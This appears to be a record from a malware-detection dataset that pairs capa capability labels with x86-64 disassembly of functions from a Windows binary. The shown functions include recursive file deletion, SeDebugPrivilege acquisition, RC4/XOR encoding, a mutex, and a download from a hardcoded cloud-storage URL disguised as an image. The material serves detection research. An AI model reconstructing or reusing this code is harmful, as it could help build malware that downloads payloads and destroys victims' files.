joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400036c4
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov r8d, edx
xor r9d, r9d
mov eax, 0x10624dd3
mov dword [rsp + 0x40], r9d
imul edx
xor r11d, r11d
mov rbx, rcx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
mov dword [rsp + 0x30], edx
sub r8d, eax
imul eax, r8d, 0x3e8
mov r8, qword [rcx]
xor edx, edx
mov dword [rbp + 0x150], edx
mov dword [rsp + 0x34], eax
jmp 0x1400037de
test dword [r8 + 0xd0], 0x808
jne 0x1400037db
mov r10, qword [r8 + 0x30]
cmp r10, 0xffffffffffffffff
je 0x1400037db
xor ecx, ecx
test r9d, r9d
je 0x140003768
cmp qword [rsp + rcx*8 + 0x48], r10
je 0x140003768
inc ecx
cmp ecx, r9d
jb 0x14000375a
cmp ecx, r9d
jne 0x140003785
cmp r9d, 0x40
jae 0x140003785
mov qword [rsp + rcx*8 + 0x48], r10
mov r9d, dword [rsp + 0x40]
inc r9d
mov dword [rsp + 0x40], r9d
mov r10, qword [r8 + 0x30]
mov eax, dword [r8 + 0xd0]
cmp r10, r11
cmova r11, r10
test al, 0x10
jne 0x1400037a6
cmp qword [r8 + 0x68], 0
jbe 0x1400037db
test al, 0x40
jne 0x1400037db
xor ecx, ecx
test edx, edx
je 0x1400037bc
cmp qword [rbp + rcx*8 + 0x158], r10
je 0x1400037bc
inc ecx
cmp ecx, edx
jb 0x1400037ac
cmp ecx, edx
jne 0x1400037db
cmp edx, 0x40
jae 0x1400037db
mov qword [rbp + rcx*8 + 0x158], r10
mov edx, dword [rbp + 0x150]
inc edx
mov dword [rbp + 0x150], edx
mov r8, qword [r8]
test r8, r8
jne 0x140003734
lea rax, [rsp + 0x30]
xor r9d, r9d
lea ecx, [r11 + 1]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x150]
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jns 0x140003894
and dword [rsp + 0x40], 0
and dword [rbp + 0x150], 0
jmp 0x140003894
mov eax, dword [rbx + 0xd0]
and eax, 0x1020
cmp eax, 0x1020
je 0x14000384b
mov rcx, qword [rbx + 0x30]
cmp rcx, 0xffffffffffffffff
je 0x140003852
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x140003852
mov eax, 0x1000
jmp 0x140003854
xor eax, eax
btr dword [rbx + 0xd0], 0xc
or dword [rbx + 0xd0], eax
mov rcx, qword [rbx + 0x30]
cmp rcx, 0xffffffffffffffff
je 0x140003884
lea rdx, [rbp + 0x150]
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x140003884
mov eax, 0x2000
jmp 0x140003886
xor eax, eax
btr dword [rbx + 0xd0], 0xd
or dword [rbx + 0xd0], eax
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140003820
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0x490]
add rsp, 0x470
pop rbp
ret
Function at 0x1400040a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rbp, rcx
call fcn.14000400c
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x1400040e4
mov r9, rax
lea edx, [rbx + 1]
mov r8, rsi
mov rcx, rbp
call fcn.14001a2c8
mov rcx, rdi
call fcn.140017958
jmp 0x14000411b
test rsi, rsi
je 0x14000411b
call fcn.140017e58
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
mov byte [rbx + rbp], r8b
inc rbx
cmp rbx, rsi
jb 0x1400040e9
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140004474
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp - 8], rax
or r9b, 0x80
mov r12d, 4
mov byte [rbp - 0x18], r9b
mov rbx, r8
mov r14, rdx
mov rdi, rcx
lea r9d, [r12 + 0x7a]
cmp r8, r9
jae 0x1400044c6
mov r9b, bl
mov byte [rbp - 0x17], bl
lea esi, [r12 - 2]
jmp 0x140004554
cmp rbx, 0x10000
jae 0x1400044ed
movzx ecx, bx
movzx eax, bl
shr cx, 8
mov rsi, r12
shl ax, 8
or cx, ax
mov byte [rbp - 0x17], r9b
mov word [rbp - 0x16], cx
jmp 0x140004554
shr r8, 0x20
mov r9b, 0x7f
mov eax, r8d
mov byte [rbp - 0x17], r9b
shr eax, 8
mov esi, 0xa
movzx edx, al
movzx eax, r8b
shl eax, 8
or edx, eax
mov eax, r8d
shr eax, 0x10
movzx ecx, al
mov eax, ebx
shl edx, 8
or edx, ecx
shr eax, 8
shl edx, 8
shr r8d, 0x18
or edx, r8d
mov dword [rbp - 0x16], edx
movzx edx, al
movzx eax, bl
shl eax, 8
or edx, eax
mov eax, ebx
shr eax, 0x10
movzx ecx, al
mov eax, ebx
shl edx, 8
or edx, ecx
shr eax, 0x18
shl edx, 8
or edx, eax
mov dword [rbp - 0x12], edx
test byte [rdi + 0xd0], 2
je 0x140004565
or r9b, 0x80
mov byte [rbp - 0x17], r9b
mov r8, rsi
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.1400032f0
test byte [rdi + 0xd0], 2
je 0x14000459b
mov rdx, r12
lea rcx, [rbp - 0x20]
call fcn.1400040a0
mov r8, r12
lea rdx, [rbp - 0x20]
mov rcx, rdi
call fcn.1400032f0
add rsi, r12
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call fcn.1400032f0
test byte [rdi + 0xd0], 2
je 0x1400045df
xor edx, edx
cmp qword [rdi + 0x58], rdx
je 0x1400045df
mov rcx, qword [rdi + 0x68]
sub rcx, rbx
add rcx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400045df
mov rax, rdx
and eax, 3
mov al, byte [rbp + rax - 0x20]
xor byte [rdx + rcx], al
inc rdx
cmp rdx, rbx
jb 0x1400045ca
mov rcx, rdi
call fcn.140003384
lea rax, [rbx + rsi]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400056b0
Capabilities:
Encode data using xor

Disassembly:
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x1400056be
xor eax, eax
ret
not r9d
test r8, r8
je 0x140005704
lea r11, [0x140035d40]
movzx edx, byte [r10]
mov eax, r9d
xor rax, rdx
shr r9d, 4
and eax, 0xf
shr rdx, 4
inc r10
mov ecx, dword [r11 + rax*4]
xor ecx, r9d
mov eax, ecx
shr ecx, 4
and eax, 0xf
xor rax, rdx
mov r9d, dword [r11 + rax*4]
xor r9d, ecx
sub r8, 1
jne 0x1400056cd
not r9d
mov eax, r9d
ret
Function at 0x14000a31c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, r8
mov r9, rcx
test rcx, rcx
je 0x14000a365
mov r10, qword [rcx + 0x68]
test r10, r10
je 0x14000a365
cmp edx, dword [rcx + 0x10]
jae 0x14000a365
cmp dword [rcx + 0x14], 1
jne 0x14000a365
mov rax, qword [r10 + 0x20]
mov ecx, edx
mov esi, dword [rax + rcx*4]
add rsi, qword [r10]
jmp 0x14000a367
xor esi, esi
test rsi, rsi
je 0x14000a4b2
test r14, r14
je 0x14000a4b2
mov dword [r8], edx
mov rax, qword [r9 + 0x68]
mov ecx, edx
xor edx, edx
mov rax, qword [rax + 0x20]
mov ecx, dword [rax + rcx*4]
mov dword [r8 + 4], ecx
lea rcx, [rsp + 0x20]
movzx eax, word [rsi + 4]
mov word [r8 + 8], ax
movzx eax, word [rsi + 6]
mov word [r8 + 0xa], ax
movzx eax, word [rsi + 8]
mov word [r8 + 0xc], ax
movzx eax, word [rsi + 0xa]
mov word [r8 + 0xe], ax
lea r8d, [rdx + 0x24]
movzx ebx, word [rsi + 0xe]
movzx edi, word [rsi + 0xc]
call fcn.140015d40
or dword [rsp + 0x40], 0xffffffff
lea rcx, [rsp + 0x20]
mov eax, ebx
shr eax, 9
add eax, 0x50
mov dword [rsp + 0x34], eax
mov eax, ebx
shr eax, 5
and ebx, 0x1f
and eax, 0xf
mov dword [rsp + 0x2c], ebx
dec eax
mov dword [rsp + 0x30], eax
mov eax, edi
shr eax, 0xb
mov dword [rsp + 0x28], eax
mov eax, edi
shr eax, 5
and edi, 0x1f
and eax, 0x3f
add edi, edi
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], edi
call fcn.14001b7cc
mov qword [r14 + 0x10], rax
lea rdx, [rsi + 0x2e]
mov eax, dword [rsi + 0x10]
mov ecx, 0x103
mov dword [r14 + 0x18], eax
mov eax, dword [rsi + 0x14]
mov qword [r14 + 0x20], rax
mov eax, dword [rsi + 0x18]
mov qword [r14 + 0x28], rax
movzx eax, word [rsi + 0x24]
mov word [r14 + 0x30], ax
mov eax, dword [rsi + 0x26]
mov dword [r14 + 0x34], eax
mov eax, dword [rsi + 0x2a]
mov qword [r14 + 0x38], rax
movzx eax, word [rsi + 0x1c]
cmp eax, ecx
cmovb ecx, eax
mov ebx, ecx
lea rcx, [r14 + 0x44]
mov r8d, ebx
call fcn.140013e90
mov byte [rbx + r14 + 0x44], 0
mov edx, 0xff
movzx ecx, word [rsi + 0x20]
cmp ecx, edx
cmovb edx, ecx
mov dword [r14 + 0x40], edx
movzx ecx, word [rsi + 0x1e]
mov ebx, edx
add rcx, 0x2e
movzx edx, word [rsi + 0x1c]
add rcx, rsi
add rdx, rcx
mov r8d, ebx
lea rcx, [r14 + 0x148]
call fcn.140013e90
mov byte [rbx + r14 + 0x148], 0
mov eax, 1
jmp 0x14000a4b4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x14000bbf8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0xff80]
mov eax, 0x10080
call fcn.14002bce0
sub rsp, rax
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0xff70], rax
xor edi, edi
mov rsi, rdx
mov qword [rsp + 0x30], rdi
mov rbx, rcx
test rcx, rcx
jne 0x14000bc46
or eax, 0xffffffff
jmp 0x14000bd63
mov r15d, 0x10000
lea rcx, [rsp + 0x70]
mov r8d, r15d
xor edx, edx
call fcn.140015d40
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x30]
call fcn.140015d40
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.1400177d4
test eax, eax
jne 0x14000bc3e
test byte [rsp + 0x46], 0x80
jne 0x14000bc8a
or dword [rbx + 0x4e068], 1
movzx eax, word [rsp + 0x46]
lea r8, [0x140035708]
shl eax, 0x10
lea rcx, [rsp + 0x30]
or dword [rbx + 0x4e068], eax
mov rdx, rsi
mov rax, qword [rsp + 0x60]
mov qword [rbx + 0x4e070], rax
call fcn.1400188f8
test eax, eax
jne 0x14000bc3e
mov r9, qword [rsp + 0x30]
lea rcx, [rsp + 0x70]
mov r8, r15
mov edx, 1
call fcn.14001a2c8
mov rsi, rax
test rax, rax
je 0x14000bd57
mov ecx, dword [rbx + 0x98]
lea rdx, [rsp + 0x70]
add qword [rbx + 0x88], rax
mov r8, rax
call fcn.1400056b0
test byte [rbx + 0x70], 0xf
mov dword [rbx + 0x98], eax
jne 0x14000bd2c
mov rdx, qword [rbx + 0xa0]
lea r8, [rsp + 0x70]
mov rcx, qword [rbx + 0x60]
mov r9, rsi
call qword [rbx + 0x50]
cmp rax, rsi
jne 0x14000bd54
add qword [rbx + 0xa0], rsi
add qword [rbx + 0x90], rsi
jmp 0x14000bcbc
lea rcx, [rbx + 0xf0]
mov qword [rsp + 0x38], rsi
lea r8, [rsp + 0x38]
mov dword [rsp + 0x28], edi
lea rdx, [rsp + 0x70]
call fcn.140009190
cmp eax, 1
jbe 0x14000bcbc
or edi, 0xffffffff
mov rcx, qword [rsp + 0x30]
call fcn.140017958
mov eax, edi
mov rcx, qword [rbp + 0xff70]
xor rcx, rsp
call fcn.140012de0
lea r11, [rsp + 0x10080]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x14000ca70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0xc60]
sub rsp, 0xd60
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0xc50], rax
and dword [rsp + 0x30], 0
mov rbx, rcx
lea rcx, [rbp + 0x160]
xor edx, edx
mov r8d, 0xaf0
call fcn.140015d40
mov r8d, dword [rbx + 0xa]
lea rdx, [rbx + 0xe]
lea rcx, [rbp + 0x160]
call fcn.140013e90
lea r8, [0x1400356c4]
mov edx, 0xaec
lea rcx, [rbp + 0x164]
call fcn.14001c5a4
mov edx, dword [rbp + 0x160]
lea rcx, [rbp + 0x50]
call qword [0x14003d390]
mov rcx, rax
lea rdx, [rsp + 0x40]
mov eax, 2
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
add rcx, r8
movups xmmword [rdx + 0x60], xmm0
add rdx, r8
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x14000caff
mov rax, qword [rcx]
or r8, 0xffffffffffffffff
mov qword [rdx], rax
mov eax, dword [rcx + 8]
mov dword [rdx + 8], eax
mov rcx, qword [rsp + 0x40]
cmp rcx, r8
je 0x14000cb8c
lea rax, [rbp + 0x164]
inc r8
cmp byte [rax + r8], 0
jne 0x14000cb6a
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
lea rdx, [rbp + 0x164]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0xc50]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0xd78]
add rsp, 0xd60
pop rbp
ret

Function at 0x14000cfbc
Capabilities:
Move file

Disassembly:
sub rsp, 0x248
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov edx, 4
lea rax, [rcx + 0xe]
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x7c]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14000cfe7
mov rax, qword [rax]
lea rdx, [rsp + 0x124]
mov qword [rcx], rax
lea rcx, [rsp + 0x20]
call fcn.140018190
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140012de0
add rsp, 0x248
ret
Function at 0x14000d064
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x104
call fcn.140015d40
mov r8, rbx
lea rdx, str._s.
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x140
call fcn.140015d40
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x104
call fcn.140015d40
mov dl, byte [rsp + 0x4c]
cmp byte [0x1400365ec], dl
mov cl, byte [rsp + 0x4d]
jne 0x14000d10d
cmp byte [0x1400365ed], cl
je 0x14000d173
cmp byte [0x1400365f0], dl
jne 0x14000d129
cmp byte [0x1400365f1], cl
jne 0x14000d129
mov al, byte [0x1400365f2]
cmp al, byte [rsp + 0x4e]
je 0x14000d173
test byte [rsp + 0x20], 0x10
lea r9, [rsp + 0x4c]
mov r8, rbx
lea rdx, str._s_s
lea rcx, [rbp + 0x60]
je 0x14000d154
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x60]
call fcn.14000d064
jmp 0x14000d173
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x80
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8d, 0x250
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140015d40
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14000d0e4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140012de0
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000d2b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
mov rdi, r8
mov qword [rsp + 0x20], rcx
mov rbx, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x104
call fcn.140015d40
mov r8, rsi
lea rdx, str._s.
lea rcx, [rbp + 0x290]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x140
call fcn.140015d40
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x104
call fcn.140015d40
mov dl, byte [rsp + 0x5c]
cmp byte [0x1400365ec], dl
mov cl, byte [rsp + 0x5d]
jne 0x14000d368
cmp byte [0x1400365ed], cl
je 0x14000d463
cmp byte [0x1400365f0], dl
jne 0x14000d388
cmp byte [0x1400365f1], cl
jne 0x14000d388
mov al, byte [0x1400365f2]
cmp al, byte [rsp + 0x5e]
je 0x14000d463
test byte [rsp + 0x30], 0x10
lea r9, [rsp + 0x5c]
mov r8, qword [rsp + 0x20]
lea rdx, str._s_s
lea rcx, [rbp + 0x180]
je 0x14000d3f8
call qword [sym.imp.USER32.dll_wsprintfA]
test rdi, rdi
jne 0x14000d3b9
lea r8, [rsp + 0x5c]
jmp 0x14000d3e7
xor edx, edx
lea rcx, [rbp + 0x70]
mov r8d, 0x104
call fcn.140015d40
lea r9, [rsp + 0x5c]
mov r8, rdi
lea rdx, str._s_s
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x70]
mov rdx, rbx
lea rcx, [rbp + 0x180]
call fcn.14000d2b0
jmp 0x14000d463
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rbp + 0x70]
mov r8d, 0x104
call fcn.140015d40
test rdi, rdi
jne 0x14000d427
xor ecx, ecx
mov al, byte [rsp + rcx + 0x5c]
mov byte [rbp + rcx + 0x70], al
inc rcx
test al, al
jne 0x14000d416
jmp 0x14000d440
lea r9, [rsp + 0x5c]
mov r8, rdi
lea rdx, str._s_s
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x70]
mov rcx, rbx
call fcn.14000b714
lea rdx, [rbp + 0x180]
mov rcx, rbx
call fcn.14000bbf8
mov rcx, rbx
call fcn.14000b9e8
mov r8d, 0x140
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.140015d40
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14000d338
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0x4e8]
add rsp, 0x4b0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000d870
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rbx, rcx
mov rsi, rdx
lea rcx, str.SeDebugPrivilege
call fcn.14000d7c4
and qword [rsp + 0x48], 0
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000d9ff
mov rdi, qword [rsp + 0x48]
xor ebx, ebx
and dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 0x100
test rdi, rdi
je 0x14000d9f6
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [rbx + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x14000d93e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000d9f1
mov ebx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x14000d9f1
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x40]
mov r8, rbx
mov qword [rsp + 0x20], rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000d9d8
mov rdx, qword [rbx]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x44]
lea rax, [rsp + 0x44]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x60]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
test eax, eax
jne 0x14000d9bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x534
jne 0x14000d9d8
movsd xmm0, qword [str.NONE_MAPPED]
mov eax, dword [0x140036610]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
jmp 0x14000d9d8
lea r9, [rsp + 0x60]
mov rcx, rsi
lea r8, [rbp + 0x60]
lea rdx, str._s_s
call qword [sym.imp.USER32.dll_wsprintfA]
test rbx, rbx
je 0x14000d9f1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x270
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000f474
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1e0
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
lea r8, str.BC00
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [0x14000dc68]
lea rcx, [0x14000e258]
call fcn.14000ef40
mov r8d, recvfrom
lea rdx, [0x14000c484]
lea rcx, [0x14000c4b0]
call fcn.14000ef40
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.140017e84
call fcn.140017e58
mov dword [0x14003d39c], eax
mov ebx, 6
and qword [rsp + 0x28], 0
lea r8, [0x14000f354]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
sub rbx, 1
jne 0x14000f4ef
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
lea r8d, [rbx + 0x38]
lea rcx, [0x14003d3a8]
call fcn.140015d40
and qword [rsp + 0x28], rbx
lea rax, str.udp:__8.8.8.8:53
and dword [rsp + 0x20], ebx
lea r8, [0x14000f3d8]
mov qword [0x14003d3b0], rax
xor r9d, r9d
lea rax, str.udp:___2001:4860:4860::8888_:53
mov dword [0x14003d3d0], 0xbb8
xor edx, edx
mov qword [0x14003d3c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
lea rcx, [0x14003d3a8]
call fcn.1400038bc
jmp 0x14000f579

Function at 0x14001c598
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14001c42b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001c42b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001c42b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001c42b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001c42b
cmp dword [rcx + 0x84], 0xe
jbe 0x14001c42b
cmp dword [rcx + 0xf8], 0
je 0x14001c42b
mov ecx, ebx
call fcn.14001c4cc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14001c2bc
cmp dword [rbp + 0x20], 0
je 0x14001c478
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001c480
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001c3c4
Function at 0x1400028e0
Capabilities:
Download url
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x170
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rbx, rcx
xor esi, esi
mov dword [rax + 0x10], esi
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rax + 0x10], 1
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9d, 0x104
lea r8, [rsp + 0x60]
lea rdx, str.https:__240113txt.oss_cn_hongkong.aliyuncs.com_1.jpg
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToCacheFileA]
test eax, eax
js 0x1400029a0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400023c0
mov rdi, rax
cmp rbx, rax
je 0x140002991
mov rcx, qword [rbx]
test rcx, rcx
je 0x140002965
call fcn.14000829c
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov rax, qword [rdi]
mov qword [rbx], rax
